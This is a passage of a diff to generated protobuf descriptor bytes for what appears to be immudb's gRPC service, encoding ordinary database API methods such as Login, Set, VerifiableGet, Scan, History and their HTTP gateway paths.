0x62, 0x61, 0x73, - 0x65, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, - 0x17, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x12, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x68, 0x65, 0x61, - 0x6c, 0x74, 0x68, 0x92, 0x41, 0x02, 0x62, 0x00, 0x12, 0x5d, 0x0a, 0x0c, 0x43, 0x75, 0x72, 0x72, - 0x65, 0x6e, 0x74, 0x53, 0x74, 0x61, 0x74, 0x65, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, + 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, - 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x49, 0x6d, 0x6d, 0x75, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x61, 0x74, 0x65, 0x22, - 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0b, 0x12, 0x09, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x74, 0x61, - 0x74, 0x65, 0x92, 0x41, 0x02, 0x62, 0x00, 0x12, 0x65, 0x0a, 0x0c, 0x53, 0x65, 0x74, 0x52, 0x65, - 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x12, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, - 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, - 0x72, 0x22, 0x1b, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x22, 0x10, 0x2f, 0x64, 0x62, 0x2f, 0x73, - 0x65, 0x74, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x3a, 0x01, 0x2a, 0x12, 0x88, - 0x01, 0x0a, 0x16, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, - 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x12, 0x29, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, - 0x61, 0x62, 0x6c, 0x65, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, - 0x78, 0x22, 0x26, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x20, 0x22, 0x1b, 0x2f, 0x64, 0x62, 0x2f, 0x76, - 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x73, 0x65, 0x74, 0x72, 0x65, 0x66, - 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x3a, 0x01, 0x2a, 0x12, 0x50, 0x0a, 0x04, 0x5a, 0x41, 0x64, - 0x64, 0x12, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x5a, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, - 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x13, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x22, 0x08, - 0x2f, 0x64, 0x62, 0x2f, 0x7a, 0x61, 0x64, 0x64, 0x3a, 0x01, 0x2a, 0x12, 0x73, 0x0a, 0x0e, 0x56, - 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x5a, 0x41, 0x64, 0x64, 0x12, 0x24, 0x2e, + 0x22, 0x00, 0x12, 0x44, 0x0a, 0x09, 0x54, 0x78, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x12, + 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, + 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, + 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x4d, 0x0a, 0x0a, 0x54, 0x78, 0x53, 0x51, + 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, + 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x00, 0x12, 0x5d, 0x0a, 0x05, 0x4c, 0x6f, 0x67, 0x69, 0x6e, + 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x6f, + 0x67, 0x69, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x19, 0x88, 0x02, 0x01, + 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0b, 0x22, 0x06, 0x2f, 0x6c, 0x6f, 0x67, 0x69, 0x6e, 0x3a, 0x01, + 0x2a, 0x92, 0x41, 0x02, 0x62, 0x00, 0x12, 0x4f, 0x0a, 0x06, 0x4c, 0x6f, 0x67, 0x6f, 0x75, 0x74, + 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, + 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, + 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, + 0x22, 0x15, 0x88, 0x02, 0x01, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x22, 0x07, 0x2f, 0x6c, 0x6f, + 0x67, 0x6f, 0x75, 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x4d, 0x0a, 0x03, 0x53, 0x65, 0x74, 0x12, 0x19, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, + 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, + 0x65, 0x72, 0x22, 0x12, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x22, 0x07, 0x2f, 0x64, 0x62, 0x2f, + 0x73, 0x65, 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x70, 0x0a, 0x0d, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, + 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, + 0x6c, 0x65, 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, + 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x1d, 0x82, 0xd3, 0xe4, 0x93, 0x02, + 0x17, 0x22, 0x12, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, + 0x65, 0x2f, 0x73, 0x65, 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x4d, 0x0a, 0x03, 0x47, 0x65, 0x74, 0x12, + 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, + 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x12, 0x0d, 0x2f, 0x64, 0x62, 0x2f, 0x67, 0x65, + 0x74, 0x2f, 0x7b, 0x6b, 0x65, 0x79, 0x7d, 0x12, 0x73, 0x0a, 0x0d, 0x56, 0x65, 0x72, 0x69, 0x66, + 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, + 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, - 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x5a, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, - 0x22, 0x1e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x22, 0x13, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, - 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x7a, 0x61, 0x64, 0x64, 0x3a, 0x01, 0x2a, - 0x12, 0x53, 0x0a, 0x05, 0x5a, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x53, 0x63, 0x61, 0x6e, 0x52, + 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x22, 0x1d, 0x82, + 0xd3, 0xe4, 0x93, 0x02, 0x17, 0x22, 0x12, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, + 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x67, 0x65, 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x5a, 0x0a, 0x06, + 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x4b, 0x65, 0x79, + 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, + 0x72, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x64, + 0x65, 0x6c, 0x65, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x12, 0x56, 0x0a, 0x06, 0x47, 0x65, 0x74, 0x41, + 0x6c, 0x6c, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x1a, 0x16, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, + 0x0f, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x67, 0x65, 0x74, 0x61, 0x6c, 0x6c, 0x3a, 0x01, 0x2a, + 0x12, 0x59, 0x0a, 0x07, 0x45, 0x78, 0x65, 0x63, 0x41, 0x6c, 0x6c, 0x12, 0x1d, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x78, 0x65, 0x63, + 0x41, 0x6c, 0x6c, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, + 0x64, 0x65, 0x72, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x22, 0x0b, 0x2f, 0x64, 0x62, + 0x2f, 0x65, 0x78, 0x65, 0x63, 0x61, 0x6c, 0x6c, 0x3a, 0x01, 0x2a, 0x12, 0x4f, 0x0a, 0x04, 0x53, + 0x63, 0x61, 0x6e, 0x12, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, + 0x16, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, 0x13, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x22, + 0x08, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x63, 0x61, 0x6e, 0x3a, 0x01, 0x2a, 0x12, 0x58, 0x0a, 0x05, + 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x12, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x50, 0x72, 0x65, 0x66, 0x69, 0x78, 0x1a, + 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x45, 0x6e, 0x74, 0x72, 0x79, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x22, 0x1a, 0x82, 0xd3, 0xe4, 0x93, + 0x02, 0x14, 0x12, 0x12, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x6f, 0x75, 0x6e, 0x74, 0x2f, 0x7b, 0x70, + 0x72, 0x65, 0x66, 0x69, 0x78, 0x7d, 0x12, 0x53, 0x0a, 0x08, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x41, + 0x6c, 0x6c, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, + 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x19, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, + 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x22, 0x14, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0e, 0x12, 0x0c, 0x2f, + 0x64, 0x62, 0x2f, 0x63, 0x6f, 0x75, 0x6e, 0x74, 0x61, 0x6c, 0x6c, 0x12, 0x4a, 0x0a, 0x06, 0x54, + 0x78, 0x42, 0x79, 0x49, 0x64, 0x12, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, + 0x11, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x54, 0x78, 0x22, 0x13, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x12, 0x0b, 0x2f, 0x64, 0x62, 0x2f, + 0x74, 0x78, 0x2f, 0x7b, 0x74, 0x78, 0x7d, 0x12, 0x73, 0x0a, 0x10, 0x56, 0x65, 0x72, 0x69, 0x66, + 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x42, 0x79, 0x49, 0x64, 0x12, 0x22, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, + 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, + 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x1e, 0x82, 0xd3, + 0xe4, 0x93, 0x02, 0x18, 0x12, 0x16, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, + 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x74, 0x78, 0x2f, 0x7b, 0x74, 0x78, 0x7d, 0x12, 0x50, 0x0a, 0x06, + 0x54, 0x78, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x1a, 0x15, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x4c, 0x69, 0x73, 0x74, 0x22, 0x11, 0x82, 0xd3, 0xe4, + 0x93, 0x02, 0x0b, 0x22, 0x06, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x78, 0x3a, 0x01, 0x2a, 0x12, 0x58, + 0x0a, 0x07, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, + 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, + 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x22, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x68, 0x69, + 0x73, 0x74, 0x6f, 0x72, 0x79, 0x3a, 0x01, 0x2a, 0x12, 0x6b, 0x0a, 0x0a, 0x53, 0x65, 0x72, 0x76, + 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, + 0x6f, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x49, + 0x6e, 0x66, 0x6f, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x18, 0x82, 0xd3, 0xe4, + 0x93, 0x02, 0x0d, 0x12, 0x0b, 0x2f, 0x73, 0x65, 0x72, 0x76, 0x65, 0x72, 0x69, 0x6e, 0x66, 0x6f, + 0x92, 0x41, 0x02, 0x62, 0x00, 0x12, 0x55, 0x0a, 0x06, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x12, + 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, + 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x52, 0x65, + 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x14, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x09, 0x12, 0x07, + 0x2f, 0x68, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x92, 0x41, 0x02, 0x62, 0x00, 0x12, 0x68, 0x0a, 0x0e, + 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x12, 0x16, + 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, + 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x48, + 0x65, 0x61, 0x6c, 0x74, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x17, 0x82, + 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x12, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x68, 0x65, 0x61, 0x6c, 0x74, + 0x68, 0x92, 0x41, 0x02, 0x62, 0x00, 0x12, 0x5d, 0x0a, 0x0c, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, + 0x74, 0x53, 0x74, 0x61, 0x74, 0x65, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, + 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, + 0x6d, 0x6d, 0x75, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x61, 0x74, 0x65, 0x22, 0x16, 0x82, + 0xd3, 0xe4, 0x93, 0x02, 0x0b, 0x12, 0x09, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x74, 0x61, 0x74, 0x65, + 0x92, 0x41, 0x02, 0x62, 0x00, 0x12, 0x65, 0x0a, 0x0c, 0x53, 0x65, 0x74, 0x52, 0x65, 0x66, 0x65, + 0x72, 0x65, 0x6e, 0x63, 0x65, 0x12, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, - 0x14, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0e, 0x22, 0x09, 0x2f, 0x64, 0x62, 0x2f, 0x7a, 0x73, 0x63, - 0x61, 0x6e, 0x3a, 0x01, 0x2a, 0x12, 0x5b, 0x0a, 0x0e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, - 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, - 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, - 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x18, 0x88, 0x02, 0x01, 0x82, 0xd3, 0xe4, - 0x93, 0x02, 0x0f, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x72, 0x65, 